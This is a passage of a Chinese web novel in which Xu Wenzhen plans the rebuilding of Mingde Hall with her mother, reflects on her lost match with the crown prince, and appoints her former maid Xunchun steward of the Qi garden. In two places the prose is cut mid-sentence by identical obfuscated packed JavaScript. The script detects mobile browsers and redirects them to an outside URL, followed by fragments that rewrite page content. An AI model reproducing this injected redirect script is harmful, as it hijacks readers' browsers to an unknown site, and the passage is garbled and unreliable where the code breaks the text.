十七娘那边自有秋露万事周全地照顾,秋露也是自幼服侍徐问真的,年岁与她相仿,却已是两个孩子的娘,对这些小孩最是心软,当年还竞争过想给明苓明瑞当奶娘,后来因自家孩子离不开才罢了,如今叫她照顾十七娘,她也是满心的怜爱,照顾得格外周到细致。 一两日下来,问星便对她熟悉起来,由她擦身喂药,也没有那么反感了。 明苓和明瑞身边更不必提,他们身边各有一个徐问真从前的近身使女,照顾他们从襁褓小儿长到这么大,将他们照顾得体贴周到,完全无需徐问真多费心。 养这些小孩子,对她而言不是负担,看着他们一日日茁壮成长,反而油然有一种满足得意之感。 只是人一多,院子就格外拥挤了,徐问真不得不叫含霜加快收拾栖园中房屋的速度。 等十七娘再好一些,赶快搬家吧。 徐大夫人闻讯,便在早晨向大长公主定省罢后叫住她,二人同回临风馆。 含霜端上新煎的紫苏熟水来,徐大夫人捧着温热的茶碗,对徐问真谆谆道:“明德堂的房屋原是你……那年修的,虽然宽敞,但为赶工期,修得并不算细致周到,你要常住起来难免不便。你祖母与我商量着,还是打算再请梓人来,好生地休整一番。” 明德堂原本只是栖园中一所寻常院落,内有简单的十余间屋舍,在栖园中虽说算得上宽敞,却不及徐问真少时在公主府的住所。 彼时她随着大长公主回公府居住,只随心选了一处依山靠水,住起来还算舒适的院落住,大多时候还是留在临风馆与大长公主作伴。 后来皇家定储妃的明旨落下,临风馆就不合适她常住了,甚至当时看来规格还算不错的明德堂也远远不合储妃的身份。 于是栖园中不免又大兴土木,明德堂附近的两处小轩榭都被圈进明德堂,硬生生将原本寻常规格规模的明德堂圈成了一个大院落。又添灶房、造客舍,使明德堂关起门来可以成为一处独立世界,茶水饮食都自己供应,不与人同食一灶,才勉强能够装下当朝未来储妃的派头。 彼时婚期较紧,明德堂的扩建便也很迅疾,原本预期徐问真只需在其中居住不到一年,接受皇家礼仪、宗族谱系等等的教导,便会嫁入东宫。 然后……没等成婚,太子死了。 太子死后,大长公主对谁都不能放心,又将徐问真接回自己身边,住回最放心的公主府,每日进一碗汤、一盏茶,都只过心腹之手,还要交由白芍检查。 不久后明旨下达,徐问真便入道出家,云溪山的道观建成后又匆匆离京。往日代表留国公府荣光,尊贵一时的明德堂便被封锁起来,如夕阳已落,在偌大的帝京再也激不起水波。 这几年间,哪怕是七夫人都没敢惦记明德堂这处又阔朗又华丽的好地方,徐问真回家往来匆匆,也只住临风馆,全家上下都对那里默契地不再提起。 直到如今,徐问真决定回府长居。 有明瑞和明苓在,皇后那里已经不成威胁,徐问真回府再无顾忌,明德堂原本就是她的居所,自然也不必再尘封起来。 徐问真自然清楚,明德堂那边当年工程仓促,但她这里如今也局促得很。 她心中计算着工期,徐大夫人生怕她拒绝,已继续道:“这是你祖母与我共同的意思,你千万不可拒绝。本来你这几年常在云溪山住,那边空荡、要用人的地方多,你身边的人手也多。明德堂那边,当年虽加了几间客舍供宫中前来教习礼仪的女官宫人居住,但让几个孩子住规制也不合宜,再加上你身边的人,更住不下。干脆另加厢房,再沿边建两排下人的群房,才住得开。” “你也不必想兴师动众,惹人心中不平的事,你的几个妹妹都是好的,自然知道修整这一番,全因有这几个小的,想来心中也不会有什么不平。至于外头的……”徐大夫人笑容温和,却很有几分不容置喙的断然:“凭他们也配。” 她音调微冷,坚定之处令人不敢反驳,想来徐问真身上那股不容人质疑反驳的威势与天生强硬的性格,不仅来源于抚养她长大的大长公主,也有几分来自生母徐大夫人。 徐问真自然知道徐大夫人口中的“外头的”指的是谁,她并不是不识好歹的人,祖母与母亲为她思虑至此,明德堂也确实住不下她带三个孩子,略一思忖,便笑着应下。 “又叫母亲为我费心了。”徐问真笑道。 徐大夫人看着她,眉目间俱是柔和,摇头叹道:“你与母亲总是这样客套。为你,什么叫费心?” 徐问真抿唇轻笑,倒像有些不好意思的样子,徐大夫人瞧着她温和沉静的模样,只觉着心肝都化了。 她慢慢地道:“我的真儿啊,往后你就留在母亲身边,哪儿都别走了……当年那一桩事,真是叫娘的心肝都悔断了!” 当今着意徐问真为储妃时是亲上加亲、喜上加喜,不只因为徐问真的祖母是大长公主,徐缜是他的伴读,还因为其母徐大夫人与皇后同出一族。 如此,储妃的家世既尊贵体面,又逃不出原本太子血缘所牵的圈子,未曾再给东宫笼络一门望族,面子好了,里子对今上也很体面。 ——实在是前朝好几代皇位继承都并非父慈子孝顺利继位,本朝传续至今四代,先帝也并非被高宗皇帝看重顺利登基的,今上对长子倒是真心疼爱,但也不得不提防一二。 徐大夫人这些年每每想起,恨皇后不顾念姐妹之情、骨肉之义,更狠自己与她还有这重血缘,险些害了女儿。 徐问真听出母亲的心事,却沉默了一瞬,屏退门口使女,才对大夫人轻声道:“当年之事,母亲无需介怀。其实女儿当年,对那桩婚事也怀有期待。” 只是期待的不是合心顺意的郎君、和合美满的婚姻,而是这桩婚事带给她的新身份。 她轻轻搭住徐大夫人的手,缓缓说:“当时我想,左右为人息妇,都是顶着舅姑姬妾的苦走下去的,吃的都是苦,为何不拼一把,奔着天下最尊耀的权势去呢?” 成为储妃,再到未来成为皇后,是对当时的她来说,触摸权力最近的一条路。 近年来,世人多以女子野心勃勃为耻,总要就求女子最好温顺恭谨、贞静淑让。可他们在前朝争权夺利时斗得何等厉害,凭什么到女子身上,就连一点野心都不能有了呢? 至于太子如何,其实她并不在意。她对太子的反感从少年时便积攒下来,只是不得不配合那位皇家郎君演一出情合意投鹣鲽情深的戏码。 等他死后,也是对 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付出的是同样多的东西,回报却不成正比。她当然也会将宗妇的角色扮演好,但想要把住家族的船舵,太难了。 徐大夫人听得糊涂,却知道徐问真不只是在安慰她,便渐渐得收了眼泪,拭擦一下脸颊泪痕,含霜已出去命人取铜盆打温水来,回来兑了蔷薇花露,服侍徐大夫人净面,又取郁金油来调和面药为她擦拭。 徐问真要服侍她,徐大夫人并不许她动手,“自有婢子们做,你好生坐着便是。” 然后还是回到了最初的话题,二人商量起明德堂改建之事,徐大夫人心中早有筹算。 徐问真畏热,明德堂当年匆匆扩建,为了加大地方,便将周遭的依山之轩、临水之榭都包裹了进去,兼有中间许多空地,做成了一个完整的大院落,只是景致未曾好生规划。如今既有空档,便将原本的水榭周遭遍值鲜花异草,坐在其中,既可赏水上荷,也可赏岸边花,做花厅消遣时光最好。 山脚轩馆可以做宴饮游玩之处,徐问真年少时也曾呼朋唤友,春起百花宴,冬做暖炉会,并非内敛少交之人,何况她与妹妹们也亲密,明德堂中多留几个供她们玩乐的地方没有坏处。 徐大夫人如今心心念念,想将年轻时没有机会完成的构想都在新修的明德堂中实现,她恨不得将女儿骄纵到天上去,女儿年少时,她惦记着孩子能有好姻缘,总是想将女儿养成京中最标准的贞静高华的贵女——大长公主养出的徐问真当然也未让她失望,言行举止,都堪当贵女典范。 但如今,姻缘成了一场空,女儿成了时时平淡浅笑、不悲不喜的真仙,她午夜梦回间却总是想到女儿年少时与友人传花宴饮、肆意打马的模样。 徐大夫人掏心掏肺地,想将一切徐问真喜欢的都给她。 她打定了主意,没叫徐问真插手,只询问一些徐问真的想法。母女俩关起门来说,并不叫外人知道。她是防着人说徐问真给自己捞好处,干脆全都由她来办了。 徐家嫡支长房就这一个女孩儿,她偏心自己的女儿多少,外人哪怕再酸,明面上都没话说。 ——何况问真这是要带着孩子住的,算下来,另外几位娘子也并不委屈。 徐大夫人理直气壮地想着,一边吩咐人寻名家来绘画图纸安排布置,只是这样一来,所费的时间就长了。 临风馆是已挤不下人了,但云溪山的人手还要先喊回来几个做事,徐大长公主便着人将东上院后头塞得满满当当的屋子空出一些来,给临风馆这边用。 左右这边小院也算是东上院的一部分,甚至徐问真最常走的一道门就是连通两边的月亮门,暂时借用正院几间屋子并不过分,往来也很方便。 这些事也都是这一两日就敲定又迅速做起来的,徐问真忙了几日,十七娘的情况渐渐稳定,她才忽又想起另一件事。 十七娘醒来的前一日,她吩咐含霜喊了寻春进来的。后来因出了十七娘得失魂症的事,都耽搁下了,也不知寻春家里如今怎样了。 11. 第11章 留国公府后街的一户寻常民居,院里几个小孩子举着小风车嬉闹,面容清秀温柔的年轻女人坐在窗边心不在焉地做针线,见女儿依偎着自己眼巴巴地看院里兄姊们玩闹,迟疑一下。 未等她动作,守着针线篓子的老妇人已沉着脸摸出几枚铜钱。 老妇人叶妈妈将小女娘拉到自己身前,整一整衣领,将铜钱塞到小孩手里,柔声哄:“好娘子,拿着钱自己买个风车去,同兄姊们玩吧。” 小女娘迟疑一下,看向母亲,年轻女人点点头,她才露出笑容,欢欢喜喜地出门买风车去。 一旁的妇人抱怨道:“才贵儿他们要买风车,我满匣子翻遍找出那几枚钱给他们买去,娘干瞧着,也不说什么。到底是那外姓的可人疼,不必张口,外大母便巴巴地把好东西都捧上去了。”说完,又装模作样地叹一口气,“这没爹惦记的孩子,也是得有人疼,不然成可怜了。依我说,就为小娘子,姊姊也该快思虑思虑自己的终身大事。虽说在前一家将嫁资都搭得差不多了,可为了姊姊,我们就是节衣缩食,也甘愿攒出几吊钱来办被褥。” “姊姊这几日这样没精神,知道的是那日大娘子喊进去又打发出来,没得个着落心里郁闷,不知道的,还以为是想哪家汉子呢,叫外人说岂不难听?” 叶妈妈听着,沉下脸,“你若闲,将锅灶扫了去,不要在此说这些闲话。什么里姓外姓,都是我的孙儿,我哪有不疼的?我是给小莺儿花了几个钱,那也都是寻春给我的,她这些年给家中多少东西怎么不说?” 她息妇到底不敢和她顶着干,鼻子里嗤出一声,倒也乖乖去扫锅灶,不在此再聒噪。 叶妈妈女儿寻春才慢慢叹一口气,“也不知府里怎样了,听闻十七娘子如今还是娘子照顾着,也不知好些没有。” 叶妈妈见她不甚在意息妇口里不中听的话,才松了口气,顺着她的话,也皱起眉,“是啊,如今娘子将照顾十七娘子的担子接了去,若好也罢,若不好,岂不白受挂落?” 她打量着女儿的面色,到底忍不住劝道:“你也别将你嫂的话往心里去,娘子唤你进去,可见惦记着你呢。忽然出了十七娘子这一桩事,谁能想到呢?等回头,娘子但凡清闲些,定还是要喊你进去的。” 寻春失笑,宽慰她道:“儿岂会怨怪娘子?我自然知道,娘子唤我进去就是惦记我,若不是有事,岂会不见我?只是为娘子担忧罢了。” 母女二人相视一笑,那边外孙女小莺儿买好了风车,举在手上乐呵呵地跑进来,也要加入兄姊们的游戏。 大表姊笑着拉住她的手,几个小孩玩闹,厨房里传出女人的喊声:“你们玩时可小心着,表妹倘受了屈,阿婆要骂你们的!” 叶妈妈听了脸一沉,寻春无奈叹息,从一旁屉子里拿出一盒果子,招呼孩子们过来拿果子吃。 她嫂子见状,轻哼一声,哼着曲儿继续擦锅灶,家里气氛正僵持着,只见一个小女娘从外头跑进来,小孩清脆的嗓音清亮亮的,响在院子里、传在上空,周遭两三家都能听到,“叶家姑姑,叶家姑姑!府里有人出来传话,说是大娘子传你,立刻要见你呢!” 叶家母女二人听了都是一喜,叶妈妈忙拿果子给小孩吃,又欢欢喜喜地对寻春道:“快,快进去,我就说娘子还惦记着你呢!” 寻春迟疑一下,看看身上二三年前的衣裳,“我还是换身体面些的衣裳进去。” “傻孩子。”叶妈妈拉住她,“你就穿这一身进去,娘子才知道你的苦楚!” 寻春想一想,还是坚定地摇摇头,“我纵有万般苦,娘子如今也不容易。我打扮得可怜寒酸地进去,不仅丢娘子的脸面,也叫娘子心里不好受。见我好好的,娘子心里或许还舒坦些。” 叶妈妈拗不过她,想法也没那么坚决了,便先出了门,留下寻春在屋里换衣。 外头她息妇听了消息也是一愣,旋即又轻嗤一声,马屁已在三四日前拍过了,结果拍了个空,这一回只怕姑子也是空跑一趟,想想,她也不在意了,仍去擦她的锅灶。 临风馆里,含霜忙着琐事,不能亲自出去找寻春,便叫小丫头先传话去,然后又派妥当人到后头角门上等着,晚一时,果然见女使带了寻春进来,便是一喜,笑着挽寻春的手往里走,“娘子同十七娘子、小郎君、小娘子吃了点心,这会正闲着,专等你进来呢。” 她说着,又细细打量寻春。 寻春较徐问真年长几岁,是徐问真乳母之女,借了母亲的光,从小就在徐问真屋里。她生的鹅蛋脸面,细条身材,一双眼眸生得温柔的形状,鼻梁却十分高挺,眉浓而黑,柔中也带着几分刚毅。 多年在勋贵门庭里养出的气韵使她行走动作都格外耐看,不起眼却也不粗俗,雅致温顺中,透着几分沉静从容。只是或许近年受了太多苦楚,她面容不免有几分憔悴,眼睛也不如年轻时明亮。 她身上穿淡白提花绸短襦,襟领处密密绣着海棠花朵,腰系黄绿细绢间色长裙,乌油油的发在脑后挽起,簪两朵时令鲜花,耳边一对碧玉坠子,衣着打扮都挑不出毛病。 含霜见了,心却渐渐沉了下去。 她心里叹息,挽着寻春的手,口中仍是笑吟吟地喊“寻春姊姊”,拉着她向内走。 这两日天气倏然转暖,临风馆上下早换了陈设,正屋罗汉榻上堆着柔软的锦褥靠枕,一只净白瓶中插着怒放的玉兰,一应纱幔帘帐换成清新淡雅的梅子青,屋室虽不大,但窗寮通透,便显得十分敞亮。 徐问真正在罗汉榻上坐着做香,调和而成的香粉在她手下慢慢堆成一个漂亮的祥云纹,然后随手用线香引火点燃,再盖上镂雕祥云纹莲花座香炉盖,徐问真抬起头,含笑看向正走进来的寻春,然后心一点点地沉下去。 寻春已经跪倒请安,徐问真命含霜搀她,一边叹息:“怎么憔悴得如此了?” 寻春来前还特地擦了点妆粉,不想仍是被徐问真一眼看出憔悴,心中的委屈酸楚竟也像压抑不住似的,眼睛微红,泣道:“见了娘子,才敢道一声委屈。” 她除籍嫁与富户,本以为是终身有靠,不想却所托非人,不仅将大半嫁妆都折了进去,还险些被卖了小女儿。 若非倚仗徐家的势,不说保住仅余的那点财帛金银,只怕连小女儿都保不住。 回到娘家,虽有父母疼惜,但家中屋室不足,因她回来,侄儿们不能分别单睡一屋,嫂嫂心中也有不满。为了家中和睦,她唯有忍让的份,在母亲跟前更不好抱怨。 这会徐问真一问,她心中的酸楚才如堤坝泄洪一般,阻拦不住地倾泻出来。 但她到底顾忌不愿徐问真为她伤心,全力忍住泪,又露出一点笑来,“不过也是太长时间没见得娘子了,日日夜夜心神牵念挂怀,娘子却总没空见我,才叫我觉着委屈。” 她含嗔带泪地看徐问真一眼,正如雨后枝头被风吹着摇曳的海棠,花瓣零落也自有一种憔悴之美。徐问真递一张帕子给她,轻笑道:“那往后,叫你日日能见到我,你愿不愿意?” 寻春闻言狂喜,忙道:“奴婢愿意!” “你也不问是什么差事?”徐问真好笑道。 寻春立刻道:“天下若有一个人绝不会害我,便是娘子!娘子叫我做的,便是上刀山下火海,也定有娘子的道理,奴婢只管去做便是!” “你这样恭敬,反显得生疏了。”徐问真不搭她的话,反而抱怨似的轻轻道。 寻春忙道:“奴婢、我知道错了。只是这一二年一直心里念着娘子,终于见到了,却不知有什么话能说。” 徐问真笑着摇摇头,将要安排给她的差事说了出来。 寻春一听是栖园管事、主管照顾园中娘子们,便是一惊,不想是如此厚差。 但她这几日对府中的事也有耳闻,知道栖园前任管事柳眉吃了挂落,徐问真处置柳眉时没有留手,人虽未死在国公府里,到外头也绝没什么好下场。栖园中也有许多仆妇管事受了处置,逐出府去或罚钱粮不等,她哪怕不知其中细由,只看徐问真处置的法子,就知道园中所出之事不小。 眼下又是徐问真要接管家事的紧要关头,安排给她这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811402|146135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个重要、前任又领罪而去的差事,寻春马上领悟到其中关窍。 她思索间,徐问真已笑问道:“怎么,在外蹉跎这几年,便失了年轻时的心气,不敢担这一摊子事了?” 寻春立刻道:“我敢!娘子既然信得过我,我必肝脑涂地,愿立军令状,若不将栖园肃清明白,替娘子打理得干干净净,寻春提头来见!” 徐问真一顿,扬眉好笑道:“你如今怎么也满身匪气?” 但看她如今身上的意气,徐问真也很满意,又徐徐说:“栖园的差事不好办,只怕你日后也要长留在府里,三五日才能回家一次,在府里要有个住的地方。柳眉从前在栖园中就有几间屋子住,我叫凝露去看了,屋子虽不多,也是个独立的小院,还算干净,你去住也使得,只是不知你打算怎么安置孩子。” 听出她的口风,寻春忙道:“您若允许我将莺儿带进来,我绝不会叫莺儿耽误差事。她听话得紧,您安排一个小丫头或老婆子给我,叫她替我稍微看顾一点就够了,我愿从我的例钱中分出一份酬谢她。” 徐问真道:“管事的娘子们身边哪个没几个跑腿的丫头婆子?这个你只管放心,她们一人伸只手,轮着帮你盯一眼也有了。你女儿今年也五岁了吧?” 寻春连忙点头,徐问真笑道:“那也快懂事了,更省心省事。” 寻出笑了,“她是很懂事,也体贴人。娘子……我有一个不情之请。” 徐问真知道她要说什么,温和地注视着她,“既是不情之请,就不要说了。”她语气坚定,叫寻春一愣,随即见她展颜轻笑,才发觉自己被逗了一下,一时失笑,嗔着唤:“娘子!” 徐问真忍俊不禁,才慢慢道:“你已脱了籍,我叫你回来做事,是算雇你,并不打算叫你再入籍,遑论是你女儿?若要说叫她服侍明苓这话,真是罢了。好容易有个好出身,还赶着要入奴藉吗?你若愿意,过两年小娘子入学,叫她做个伴读,本就是在府里长大的,再陪小娘子读书写字,通了文字,往后无论怎么打算都不愁了。” 她这真是掏心窝子的话,寻春听了,一时连怎么谢好都不知道,只有眼泪终于忍不住了,顺着脸颊腮边不住地淌下来。 “好了,我这连悬了好几日的心,如今才敢稍微松口气,你又要来惹我哭吗?”徐问真如此一问,便捏住了寻春的命脉,寻春忙擦拭眼泪,强忍住了,道:“我往后再不哭了!” 几人正要坐着叙几句体己话、讲一讲园中的形式,外头女使忽然进来报:“吴侯家夫人又遣人来视看十七娘子,并递拜访的帖子来。秦妈妈现带着吴侯家的婆子过来了。” 吴侯家是指十七娘的外家,十七娘刚出事时,外祖母吴侯夫人亲自过来,很是问责一番,徐大夫人也满怀愧疚,客客气气地招待着。 后来查出始末,发现了他家娘子在里头做的糊涂事,吴侯夫人便气短了一截,又抹不下脸给徐大夫人一个小辈赔礼,想到好歹没闹到大长公主那,她也不算过分,便想将此事囫囵混过去,如今虽还每日使心腹婆子来看,但递帖往来的主人都换成了世子夫人,便是十七娘的舅母。 世子夫人倒是客客气气地上门替阿家、小姑赔了礼,徐大夫人也忙致歉,两边行礼的场面真是笑人,到底世子夫人和徐大夫人都做事体面,两家也没落下难堪。 这会吴侯家又遣人来,世子夫人要来拜访的帖子递到大夫人那,探望的婆子却得往徐问真这边来。 毕竟是代表吴侯夫人来的,徐问真少不得客气接待,便示意含霜先领着寻春到下房中稍待。 吴侯家的婆子入内时,便见素日常见的那个大女使领着一个衣着朴素但规矩不错的年轻女人出去,不禁留神多看了一眼,然后正屋的帘子一打,她忙收敛心神,恭恭敬敬地垂着头入内。 正房中徐问真受了礼,与她客套两句,便叫留下的女使信春带她往十七娘屋里去,那婆子这几日常来常往,都习惯了流程。 下房里,含霜与寻春围着炉子坐下,含霜给寻春倒了茶,没等开口,眼睛先红了,“寻春姊姊——” 12. 第12章 在徐问真身边打小伺候的这批人中,寻春年岁算是稍长的,含霜、凝露、秋露、信春包括现在外边做事的练霜、服侍明苓明瑞的枕雪、漱雪,都受过她的照顾。 含霜和凝露是孤身一人入府,寻春对她们更关照些,二人对寻春的感情也更深厚,今日见寻春如此模样,含霜便很是心酸了,此刻四下无人,终于不禁含泪道:“姊姊这几年,过得有多委屈啊……” 寻春真是愣住了,然后道:“我能带着女儿和嫁妆从那家里脱身,真是天大的幸运了,全托娘子和府里的脸面,回了家又有父母在上,娘子还常常关照,我有什么委屈的?” 含霜扯着她的衣裳,道:“从前姊姊何时穿过这样的颜色?” 素白、黄绿,这些颜色是市面上最便宜易得的,她们年轻时候,服侍着公府大娘子、大长公主的心头肉、未来的储妃,那真是风光无限,外头寻常官宦人家的娘子过得只怕都不如她们。 含霜擦擦眼泪,道:“你年轻时,白要穿月白、象牙白,黄要柳黄、杏黄,便是穿青绿,也要豆青、水碧这些颜色。如今这样的料子,虽也过得去,却绝入不得你的眼。”又握起她的手,看着空荡荡的手腕,“从前你最爱那些金玉镯子,配在手上叮叮当当,娘子都说好看又好听。” 寻春被她说得一怔,也不由轻抚这身去年做好后一直小心储存的衣裳……原来她年轻时候,是那样的意气、挑剔。 如今她住在娘家,手头银钱不丰,攒下一些财帛也盼着快快赁一所房子,轻易不敢花用。家中父亲、兄嫂都没什么紧要的差事,孩子却生得很多,日常花用依靠最多的还是府里给母亲的乳母奉老钱粮,和娘子节寿送去的财物。 每每过年,阿娘虽有心给她做一身新衣,可钱帛有限,还要顾及兄嫂的想法。 娘子送去了鲜艳布匹,阿娘每每给侄儿、侄女们做完衣服后硬挤出余料给莺儿做新衣,她便已经很感念了,哪里舍得再叫阿娘为难? 便自己紧着钱挑了还能入眼的料子,买最廉价的颜色,再凭着手艺拼拼凑凑,做一身还过得去的衣裳撑场面罢了。 早年的金玉镯子,也丢的丢、当的当,今日走前一翻妆匣,只有一副年少时她娘给打的银镯还算看得过眼。可那镯子小女娘戴也罢,到她这个年岁,戴就不合适了,于是只能手腕空空地进来。 往日不觉得有什么,今日被含霜点出,她才愣了一愣。 然后也笑了,“确实没什么可委屈的。许是人这辈子的福分都是有限的,我年轻时不知道惜福,也着实挥霍了不少。这两年虽说有些不顺,可仗着府里和娘子的面子,既从那火坑里脱了身,回到家我嫂嫂也还算敬我,便不错了。往后又能继续给娘子办事,也算时来运转了。” 含霜点点头,拭擦一下眼泪,道:“如今回到府里,姊姊又为娘子办差,娘子待忠心人一向宽厚体恤,姊姊和莺儿的好日子都后头呢。” 寻春含笑应着,二人又说一会话,含霜又说了些园中的情况。 其实原本按照寻春的年岁、资历,是怎么都坐不上栖园管事这个位子的。 栖园管事总管园子不说,还总揽服侍小娘子们的差事,娘子们日常饮食住行都由栖园管事负责照看。这差事虽不及在夫人身边风光位高,却很有些权力,到主子跟前也很有脸面。 要说寻春娘那个辈分来做才差不多。 可徐问真来管这个家,本就已经是出格事了,既然如此,何不再做一件出格事,彻彻底底地叫人知道,她不是循规蹈矩、只敢按照祖辈定下的规矩做事的人? 而且徐问真的心腹人手中,也确实是寻春最适合做这件事。 她既温和细致,能照看好娘子们生活的方方面面;又沉得下脸、狠得下心,能辖制住那一园子老油条婆子与年轻活跃的丫头们。 栖园交给她,徐问真再放心不过。 含霜知道徐问真的意思,将问题最大的几个部分细细地掰碎了说给寻春,二人围着茶炉说了一会子话,便见凝露笑嘻嘻走进来,“吴侯府的人走了,回去吧。” 三人又一齐回到正屋,这会明苓明瑞却也在了,二人围着徐问真在榻上嬉闹。寻春不由夸两位小主子两句,再说一会话,她便得回家了。 她最好今天下午就进园子打扫屋室做准备工作,这会回家收拾东西都嫌时间不够,只是舍不得徐问真与含霜等人,才迟迟不愿告辞。 徐问真道:“下午又见了,往后日日都能见到,有什么的?”信春来回十七娘子吃罢药了,徐问真点点头,又叫她捧出一个匣子。 在寻春跟前打开一看,里面赫然是流光溢彩的一对金镯,金镯上雕刻繁复富丽的海棠花纹,嵌着明晃晃的圆润珍珠,真是华美异常。这对镯子奇则奇在是一大一小的一对,大的正是寻常女子佩戴的尺寸,小的大约只有小女孩戴得了。 寻春一惊,忙要推辞,徐问真已笑了,“这不算什么,前两年从南边来的商队手上偶然得的,说叫子母镯,珠子不算大,雕工也不是最好,原不算稀奇,因这样式好玩才留下了。今日想起正合你与你女儿戴,你就带去吧。” 然后又笑道:“这正是我‘千金买马骨’的诚意,若不厚厚地待你,旁人怎么知道我待忠心人的宽厚大方?你就带去吧,我给你,也是为了我自己。” 寻春听出她玩笑之下的不容反抗与谆谆关怀,当即将那只大的戴到手上,忍泪笑道:“谢娘子赏,我一定日日带着,再不离身,叫人人都知道您待人有多大方!” 徐问真品一品这句话,又觉好笑,“你这话是为了夸我,却又像是暗暗贬我。” 寻春忙道:“我绝无此意!我怎会暗……” “好了好了,你如今连玩笑话都听不出了?”看出寻春今天的心情大起大落,精神也过于紧绷,徐问真不再为难她让她感动又强忍眼泪,吩咐凝露:“想必你也舍不得,就由你送你寻春姐姐家去吧。还有些好颜色的料子,是孝敬叶妈妈的,你们一道带去。你与莺儿也做两身好衣裳穿。” 不想徐问真竟还记得她女儿的名字,寻春眼睛再度发热,徐问真怕她总是忍泪憋出毛病来,忙道:“好了,你们快去吧。我呢,也要去瞧瞧十七娘了。明苓,明瑞,走,咱们去瞧瞧你们十七姑姑。” 二个小的听到出门就开心,哪管去哪,欢欢喜喜地应了,信春与含霜上前,一人抱起一个,随着徐问真往厢房里去了。 十七娘这几日在补药、药膳、汤羹的连环滋补下,脸色终于好看了一点,眼睛也渐渐有神了,虽还不张口,但见徐问真来,便露出笑,今日更加活泼,还学着女使们的样子,也有模有样地冲徐问真叉手行了一礼。 她就如懵懂的小兽,认准了徐问真是她在这世上唯一的依靠,便向徐问真全然露出柔软的一面,本能般地祈求怜惜与庇佑。纵使满屋子来探望她的长辈姊妹在,她只要看到徐问真,便只看得到徐问真了,孱弱消瘦的脸庞上全然是依赖与信任。 徐问真见此,心不免渐渐软下来,在血缘与责任之外,另外生出几分仅发于自己本心爱怜喜恶的关爱。 “好娘子,可快坐下吧。”徐问真笑意自然地从眼底流淌出来,按着她坐下。这几日她们但凡与十七娘说话,一定带上动作,十七娘已经锻炼出一点能力,能听懂一些言语。 她虽然熟悉了秋露和屋里几个人的照顾,却还是最依赖徐问真,见她来了便腻着她坐。明苓明瑞高高兴兴地来了,不想争宠却争不过,还记着十七姑姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13811403|146135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病弱,不敢往上冲,真是又急又委屈,在旁边急得直转圈。 徐问真忍笑看了好一会,才将他们两个也抱上来在身边坐,叫人取了新得的枇杷来,娘四个剥着吃。 寻春那边,凝露带着两个婆子,抬着布料直送到她家里,又与叶妈妈寒暄一番,才告辞而去。 寻春嫂子一眼注意到寻春满面春光与腕上明晃晃的金镯子,又看到满桌堆着的布料,不期她竟真得了体面,也是能屈能伸,忙又满脸堆笑地凑上来,一边向寻春道贺,一边紧着看这些东西,打开匣子便见一只璀璨夺目的小金镯,忙伸手要拿,口中还道:“哎呦,这镯子可真精致,只是小了些,我瞧瞧,只怕咱们大娘戴正好。” 说着,就唤她的大女儿过来,寻春不着痕迹地将匣子拿走,没叫她碰那只手镯,并含笑揉一揉叶家大娘的头发,“好娘子,这只镯子是大娘子特地吩咐给你妹妹的,你且等一等,待姑母攒了例钱,也与你和二娘每人打一只金镯做嫁妆。” 叶家大娘今年才到寻春腰高,要做嫁妆的金镯子,戴起来可是遥遥无期了。 但好歹是两个金镯子啊! 叶家嫂子应是止住气挤出笑来,连声催促:“大娘二娘还不谢过你们姑母?诶哟哟,这姑母疼侄女可是真疼,当心肝肉似的呢,什么都舍得!” 寻春只淡笑着,对大娘才更柔和些,叶妈妈看不过眼,支应走左邻右舍,回来交代:“快别凑在这了,去街上割半斤肉回来,咱们晚上蒸肉馅笼饼吃。” 叶家嫂子也顾不上舍不得,忙应着要去。寻春有些歉疚地道:“阿娘,嫂嫂也别忙了,娘子给我安排了差事,明日立刻上任,我今天马上要收拾东西进去准备屋子住处,一会都耽误不得。还有莺儿的东西,还得阿娘帮我一起整顿,也带进去。” “啊——这么急,莺儿的也带进去?”叶妈妈一惊,叶嫂子忙问:“是什么差事,连孩子也能带进去?” 她原本以为寻春进去,也就是再回大娘子身边,或者伺候小娘子们。 这差事也很体面了,足够他们一家人在外都挺直腰板,可若是在娘子们身边,万没有将孩子也带进去的道理。 便是要莺儿服侍小娘子,也该先在府外学规矩才是。 寻春淡淡一笑,道:“娘子命我进去先领着栖园事务,照看小娘子们一些。如今园里每人,因才急着进去呢。” “栖、栖园管事?”叶嫂子瞪大了眼睛,半晌没回过神,叶妈妈也是一惊,旋即欢喜起来,欢天喜地地要去给寻春和小莺儿收拾东西。 留下叶嫂子站在原地,眼睛瞪得酸涩流出眼泪了才怔怔回神,狠狠掐了一把,疼得不由“嘶”了一声,喃喃道:“这可真是翻身了啊——” 她马上跑回屋里,翻出她男人的私房钱,快步出来,高声道:“我就去街上割半斤、不,十两羊肉!小姑你放心,我回来便和面拌馅,起锅烧水,快快地做,一会功夫便能得笼饼,你带进府里吃去!小莺儿也最喜欢舅母做的笼饼了!” 这一番话说得真是饱含感情抑扬顿挫,然后快步跑了出去。屋里寻春与叶妈妈对视一眼,叶妈妈无奈地叹着气摇摇头,寻春倒是浅笑了一下,低着头继续叠衣服,一边嘱咐:“还得劳累阿娘,那些料子也替我做两身体面衣裳,在府里总不好打扮得灰头土脸的,还有小莺儿的衣裳,我只怕一时半刻都不得闲,只能劳累阿娘了。” 叶妈妈欢喜着呢,手上归置东西的动作飞快,“那算什么?放我年轻时候,一日能做一身呢!你放心吧,我这几日就给你赶出来,都是好料子,穿着最体面了!” 